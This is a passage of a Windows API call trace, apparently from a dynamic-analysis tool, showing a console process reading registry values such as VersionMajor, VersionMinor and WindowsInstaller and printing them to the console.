cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0147.366] GetConsoleOutputCP () returned 0x1b5 [0147.366] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMajor", cchWideChar=12, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VersionMajor", lpUsedDefaultChar=0x0) returned 12 [0147.366] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0147.366] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.366] __iob_func () returned 0x7fefd702a80 [0147.366] _fileno (_File=0x7fefd702ab0) returned 1 [0147.366] _errno () returned 0xc4bb0 [0147.366] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.366] _errno () returned 0xc4bb0 [0147.366] GetFileType (hFile=0x50) returned 0x1 [0147.366] lstrlenW (lpString=" ") returned 4 [0147.366] GetConsoleOutputCP () returned 0x1b5 [0147.366] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.366] GetConsoleOutputCP () returned 0x1b5 [0147.366] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.366] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.366] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.367] __iob_func () returned 0x7fefd702a80 [0147.367] _fileno (_File=0x7fefd702ab0) returned 1 [0147.367] _errno () returned 0xc4bb0 [0147.367] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.367] _errno () returned 0xc4bb0 [0147.367] GetFileType (hFile=0x50) returned 0x1 [0147.367] lstrlenW (lpString="REG_DWORD") returned 9 [0147.367] GetConsoleOutputCP () returned 0x1b5 [0147.367] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.367] GetConsoleOutputCP () returned 0x1b5 [0147.367] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.367] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.367] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.367] __iob_func () returned 0x7fefd702a80 [0147.367] _fileno (_File=0x7fefd702ab0) returned 1 [0147.367] _errno () returned 0xc4bb0 [0147.367] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.367] _errno () returned 0xc4bb0 [0147.367] GetFileType (hFile=0x50) returned 0x1 [0147.367] lstrlenW (lpString=" ") returned 4 [0147.367] GetConsoleOutputCP () returned 0x1b5 [0147.367] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.367] GetConsoleOutputCP () returned 0x1b5 [0147.368] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.368] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.368] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.368] __iob_func () returned 0x7fefd702a80 [0147.368] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.368] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x9") returned 3 [0147.368] _fileno (_File=0x7fefd702ab0) returned 1 [0147.368] _errno () returned 0xc4bb0 [0147.368] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.368] _errno () returned 0xc4bb0 [0147.368] GetFileType (hFile=0x50) returned 0x1 [0147.368] lstrlenW (lpString="0x9") returned 3 [0147.368] GetConsoleOutputCP () returned 0x1b5 [0147.368] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x9", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0147.368] GetConsoleOutputCP () returned 0x1b5 [0147.368] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x9", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x9", lpUsedDefaultChar=0x0) returned 3 [0147.368] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0147.368] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.368] __iob_func () returned 0x7fefd702a80 [0147.368] _fileno (_File=0x7fefd702ab0) returned 1 [0147.368] _errno () returned 0xc4bb0 [0147.368] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.368] _errno () returned 0xc4bb0 [0147.368] GetFileType (hFile=0x50) returned 0x1 [0147.369] lstrlenW (lpString="\n") returned 1 [0147.369] GetConsoleOutputCP () returned 0x1b5 [0147.369] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.369] GetConsoleOutputCP () returned 0x1b5 [0147.369] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.369] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.369] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.369] GetProcessHeap () returned 0x2e0000 [0147.369] GetProcessHeap () returned 0x2e0000 [0147.369] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.369] GetProcessHeap () returned 0x2e0000 [0147.369] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.369] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.369] RegEnumValueW (in: hKey=0x5c, dwIndex=0x14, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="VersionMinor", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.369] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMinor", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.369] GetProcessHeap () returned 0x2e0000 [0147.369] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.369] GetProcessHeap () returned 0x2e0000 [0147.369] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.369] GetProcessHeap () returned 0x2e0000 [0147.369] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.369] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMinor", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.369] __iob_func () returned 0x7fefd702a80 [0147.370] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.370] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.370] _fileno (_File=0x7fefd702ab0) returned 1 [0147.370] _errno () returned 0xc4bb0 [0147.370] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.370] _errno () returned 0xc4bb0 [0147.370] GetFileType (hFile=0x50) returned 0x1 [0147.370] lstrlenW (lpString=" ") returned 4 [0147.370] GetConsoleOutputCP () returned 0x1b5 [0147.370] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.370] GetConsoleOutputCP () returned 0x1b5 [0147.370] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.370] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.370] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.370] lstrlenW (lpString="VersionMinor") returned 12 [0147.370] __iob_func () returned 0x7fefd702a80 [0147.370] _fileno (_File=0x7fefd702ab0) returned 1 [0147.370] _errno () returned 0xc4bb0 [0147.370] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.370] _errno () returned 0xc4bb0 [0147.370] GetFileType (hFile=0x50) returned 0x1 [0147.370] lstrlenW (lpString="VersionMinor") returned 12 [0147.370] GetConsoleOutputCP () returned 0x1b5 [0147.370] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMinor", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0147.371] GetConsoleOutputCP () returned 0x1b5 [0147.371] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMinor", cchWideChar=12, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VersionMinor", lpUsedDefaultChar=0x0) returned 12 [0147.371] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0147.371] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.371] __iob_func () returned 0x7fefd702a80 [0147.371] _fileno (_File=0x7fefd702ab0) returned 1 [0147.371] _errno () returned 0xc4bb0 [0147.371] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.371] _errno () returned 0xc4bb0 [0147.371] GetFileType (hFile=0x50) returned 0x1 [0147.371] lstrlenW (lpString=" ") returned 4 [0147.371] GetConsoleOutputCP () returned 0x1b5 [0147.371] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.371] GetConsoleOutputCP () returned 0x1b5 [0147.371] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.371] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.371] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.371] __iob_func () returned 0x7fefd702a80 [0147.371] _fileno (_File=0x7fefd702ab0) returned 1 [0147.371] _errno () returned 0xc4bb0 [0147.371] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.371] _errno () returned 0xc4bb0 [0147.371] GetFileType (hFile=0x50) returned 0x1 [0147.372] lstrlenW (lpString="REG_DWORD") returned 9 [0147.372] GetConsoleOutputCP () returned 0x1b5 [0147.372] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.372] GetConsoleOutputCP () returned 0x1b5 [0147.372] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.372] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.372] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.372] __iob_func () returned 0x7fefd702a80 [0147.372] _fileno (_File=0x7fefd702ab0) returned 1 [0147.372] _errno () returned 0xc4bb0 [0147.372] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.372] _errno () returned 0xc4bb0 [0147.372] GetFileType (hFile=0x50) returned 0x1 [0147.372] lstrlenW (lpString=" ") returned 4 [0147.372] GetConsoleOutputCP () returned 0x1b5 [0147.372] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.372] GetConsoleOutputCP () returned 0x1b5 [0147.372] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.372] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.372] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.373] __iob_func () returned 0x7fefd702a80 [0147.373] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.373] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x0") returned 3 [0147.373] _fileno (_File=0x7fefd702ab0) returned 1 [0147.373] _errno () returned 0xc4bb0 [0147.373] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.373] _errno () returned 0xc4bb0 [0147.373] GetFileType (hFile=0x50) returned 0x1 [0147.373] lstrlenW (lpString="0x0") returned 3 [0147.373] GetConsoleOutputCP () returned 0x1b5 [0147.373] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0147.373] GetConsoleOutputCP () returned 0x1b5 [0147.373] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x0", lpUsedDefaultChar=0x0) returned 3 [0147.373] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0147.373] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.373] __iob_func () returned 0x7fefd702a80 [0147.373] _fileno (_File=0x7fefd702ab0) returned 1 [0147.373] _errno () returned 0xc4bb0 [0147.373] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.373] _errno () returned 0xc4bb0 [0147.373] GetFileType (hFile=0x50) returned 0x1 [0147.373] lstrlenW (lpString="\n") returned 1 [0147.373] GetConsoleOutputCP () returned 0x1b5 [0147.374] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.374] GetConsoleOutputCP () returned 0x1b5 [0147.374] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.374] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.374] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.374] GetProcessHeap () returned 0x2e0000 [0147.374] GetProcessHeap () returned 0x2e0000 [0147.374] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.374] GetProcessHeap () returned 0x2e0000 [0147.374] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.374] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.374] RegEnumValueW (in: hKey=0x5c, dwIndex=0x15, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="WindowsInstaller", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.374] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="WindowsInstaller", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.374] GetProcessHeap () returned 0x2e0000 [0147.374] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.374] GetProcessHeap () returned 0x2e0000 [0147.374] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.374] GetProcessHeap () returned 0x2e0000 [0147.374] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.374] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="WindowsInstaller", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x1, pcbData=0x23f670*=0x4) returned 0x0 [0147.374] __iob_func () returned 0x7fefd702a80 [0147.374] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.374] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.374] _fileno (_File=0x7fefd702ab0) returned 1 [0147.374] _errno () returned 0xc4bb0 [0147.374] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.374] _errno () returned 0xc4bb0 [0147.375] GetFileType (hFile=0x50) returned 0x1 [0147.375] lstrlenW (lpString=" ") returned 4 [0147.375] GetConsoleOutputCP () returned 0x1b5 [0147.375] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.375] GetConsoleOutputCP () returned 0x1b5 [0147.375] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.375] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.375] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.375] lstrlenW (lpString="WindowsInstaller") returned 16 [0147.375] __iob_func () returned 0x7fefd702a80 [0147.375] _fileno (_File=0x7fefd702ab0) returned 1 [0147.375] _errno () returned 0xc4bb0 [0147.375] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.375] _errno () returned 0xc4bb0 [0147.375] GetFileType (hFile=0x50) returned 0x1 [0147.375] lstrlenW (lpString="WindowsInstaller") returned 16 [0147.375] GetConsoleOutputCP () returned 0x1b5 [0147.375] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WindowsInstaller", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0147.375] GetConsoleOutputCP () returned 0x1b5 [0147.376] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WindowsInstaller", cchWideChar=16, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsInstaller", lpUsedDefaultChar=0x0) returned 16 [0147.376] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 16 [0147.376] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.376] __iob_func () returned 0x7fefd702a80 [0147.376] _fileno (_File=0x7fefd702ab0) returned 1 [0147.376] _errno () returned 0xc4bb0 [0147.376] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.376] _errno () returned 0xc4bb0 [0147.376] GetFileType (hFile=0x50) returned 0x1 [0147.376] lstrlenW (lpString=" ") returned 4 [0147.376] GetConsoleOutputCP () returned 0x1b5 [0147.376] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.376] GetConsoleOutputCP () returned 0x1b5 [0147.376] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.376] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.376] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.376] __iob_func () returned 0x7fefd702a80 [0147.376] _fileno (_File=0x7fefd702ab0) returned 1 [0147.376] _errno () returned 0xc4bb0 [0147.376] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.376] _errno () returned 0xc4bb0 [0147.376] GetFileType (hFile=0x50) returned 0x1 [0147.376] lstrlenW (lpString="REG_DWORD") returned 9 [0147.376] GetConsoleOutputCP () returned 0x1b5 [0147.377] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.377] GetConsoleOutputCP () returned 0x1b5 [0147.377] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.377] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.377] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.377] __iob_func () returned 0x7fefd702a80 [0147.377] _fileno (_File=0x7fefd702ab0) returned 1 [0147.377] _errno () returned 0xc4bb0 [0147.377] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.377] _errno () returned 0xc4bb0 [0147.377] GetFileType (hFile=0x50) returned 0x1 [0147.377] lstrlenW (lpString=" ") returned 4 [0147.377] GetConsoleOutputCP () returned 0x1b5 [0147.377] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.377] GetConsoleOutputCP () returned 0x1b5 [0147.377] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.377] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.377] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.377] __iob_func () returned 0x7fefd702a80 [0147.377] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.378] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x1") returned 3 [0147.378] _fileno (_File=0x7fefd702ab0) returned 1 [0147.378] _errno () returned 0xc4bb0 [0147.378] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.378] _errno () returned 0xc4bb0 [0147.378] GetFileType (hFile=0x50) returned 0x1 [0147.378] lstrlenW (lpString="0x1") returned 3 [0147.378] GetConsoleOutputCP () returned 0x1b5 [0147.378] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0147.378] GetConsoleOutputCP () returned 0x1b5 [0147.378] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0147.378] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0147.378] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.378] __iob_func () returned 0x7fefd702a80 [0147.378] _fileno (_File=0x7fefd702ab0) returned 1 [0147.378] _errno () returned 0xc4bb0 [0147.378] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.378] _errno () returned 0xc4bb0 [0147.378] GetFileType (hFile=0x50) returned 0x1 [0147.378] lstrlenW (lpString="\n") returned 1 [0147.378] GetConsoleOutputCP 